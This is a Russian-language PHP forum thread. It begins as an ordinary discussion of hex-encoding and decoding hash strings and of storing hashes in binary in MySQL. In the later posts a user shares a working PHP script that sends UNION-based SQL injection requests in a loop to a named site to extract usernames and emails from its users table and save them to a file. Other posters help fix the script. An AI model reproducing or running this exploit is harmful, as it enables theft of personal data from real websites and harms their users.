Функция кодирования хэша содержит ошибку: PHP: // Функция кодирования строки хэша в hex function code_hash($s) { $n=0; $hash_code=""; $code=""; $l=strlen($s)-1; do { $code='0x'.$s[$n].$s[$n+1]; $hash_code.=chr(hexdec($code)); $n++; } while ($n++<$l); return $hash_code; } Например берём хэш 952f26f83e66b8881ae7e603e1643e901f5b5220 кодируем/декодируем получаем: 952f26f83e66b8881ae7e63e1643e901f5b52 как видно пропали два нуля и двойка (3 символа!) Функция декодирования: PHP: // Функция декодирования хэша из hex. function decode_hash($string) { $n=0; $code=""; $decode_hash=""; $l=strlen($string)-1; do { $code=ord($string[$n]); $decode_hash.=dechex($code); } while ($n++<$l); return $decode_hash; } Не пойму где ошибка, то ли в функциях, то ли при занесении в базу закодированного хэша, хелп плиз!
Лебедь, вместо первой функции используй bin2hex() PHP: function unhex($str) { $str=str_replace('0x','',$str); $unhexed=''; for($i=0;$i<strlen($str);$i+=2) { $unhexed.=chr(hexdec(substr($str,$i,2))); } return $unhexed; }
ошибка оказалась в функции декодирования хэша из hex в символьный вид: PHP: // Функция декодирования хэша из hex. function decode_hash($string) { $n=0; $code=""; $decode_hash=""; $l=strlen($string)-1; do { $code=ord($string[$n]); // вот тут если $code - односимвольное представление, то надо добавить 0 перед ним. $decode_hash.=dechex($code); } while ($n++<$l); return $decode_hash; } Исправил так: PHP: // Функция декодирования хэша из hex-строки в символьное представление. function decode_hash($string) { $n=0; $code=""; $decode_hash=""; $l=strlen($string)-1; do { $code=ord($string[$n]); $code1=dechex($code); if (strlen($code1)==1) $code1="0".$code; // если например $code=3 делаем 03 $decode_hash.=$code1; } while ($n++<$l); return $decode_hash; }
Это не то что мне нужно: То если преобразовать строку хэша 952f26f83e66b8881ae7e603e1643e901f5b5220 то будет вот что: 39353266323666383365363662383838316165376536303365313634336539303166356235323230 А мне надо получить строку символов, код которых chr(hexdec(95)).chr(hexdec(2f)).chr(hexdec(26)) и т.д.
Я хочу хэши в таблице Мускула хранить в естественном виде (hex). Т.е. например MD5(128bit) в символьном виде займёт 32 байта, а я хочу 16 байт. MySQL(64bit) в символьном виде 16 байт, а я хочу 8 и т. д. PS Тут ещё проблема с экранированием спецсимволов. При запросе автоматом экранируются спецсимволы в $code3 и $code4. А сами слэши в таблицу записываются? PHP: $query = "INSERT INTO ".$db_table." (`passwd`,`code3`,`code4`) VALUES (null,'".$code3."','".$code4."')"; $r=mysql_query($query);
хм, а если в функции md5 второй параметр true поставить, то он и будет занимать 16 байт вроде, т.е. md5('blabla',true)=Я^ў™$Уњ;иxW4с1iЖ
Я вообще не понимаю логики авторов php. Это должно быть сделано ещё в начальных версиях так и по умолчанию логично чтоб было сразу в бинарном виде. А уж если нада "читаемый" вид хэша получить, то доп. параметр - вот так было бы логичнее... PS Я так понял исправляют косяки php ранние и чтоб совместимость сохранилась...
Подскажите как узнать имя файла зная только его дескриптор? Например имя файла создаваемого функцией tmpfile().
ребят укажите на мою ошибку... вот скрипт который 1) открывает файл emails.txt для дальнейшей записи туда *( fopen('emails.txt','a+'); )* 2) перебирает id как переменную $i *( id=$i/*'; )* 3) ищет в загруженной странице слово root@"localhost *(preg_match_all('|root@"localhost([^"]*)"|is',$str,$out)* и уже далее мыло которое идет следом за ним сохраняет в открытый emails.txt Code: <? $handler=fopen('emails.txt','a+'); for($i=1;$i<30;$i++) { $filename = 'http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),email)+from+users+WHERE+id=$i/*'; echo $i.". "; $str = file_get_contents($filename); preg_match_all('|root@"localhost([^"]*)"|is',$str,$out); if(empty($out[1][0])) echo " no mail"; else{ echo " get ".$out[1][0]; fwrite($handler,$out[1][0]."\n"); } echo "\n"; } fclose($handler); ?> но есть проблема .... он выводит в браузере что не нашел мыла а emails.txt заполняет самим html кодом... в чем проблема?
может потому что перемменая $i находится между апостофами тоесть '$i' тада интерпретатор считает это не как перемменую а как знак доллора и букву i? Зачем тебе preg_match_all? ты мыльники у юзеров смотриш так они ж не будут по 10 мыл писать у каждого юзера 1 мыло =) думаю тебе этого вполне хватит PHP: <? $handler=fopen('emails.txt','a+'); for($i=1;$i<30;$i++) { $filename = "http://www.mysite.ru/index.php?t=-1+union+select+user(),concat(username,char(58),email)+from+users+WHERE+id=$i/*"; echo $i.". "; $str = file_get_contents($filename); if(preg_match('|root@"localhost([^"]+)"|is',$str,$out) == 0) {echo " no mail";} else{ echo " get ".$out['1']; $save = $out['1']."\n"; fwrite($handler,$save); } echo "\n"; } fclose($handler); ?>
Регулярка очень кривая. Но ничего точно сейчас сказать нельзя, потому что не совсем понятно что надо. Ссылку в студию.
странно проверял када в файлах мыльники вида root@"[email protected]" У меня всё прекрасно писало в файл хз что там не так ... может в скуле дело?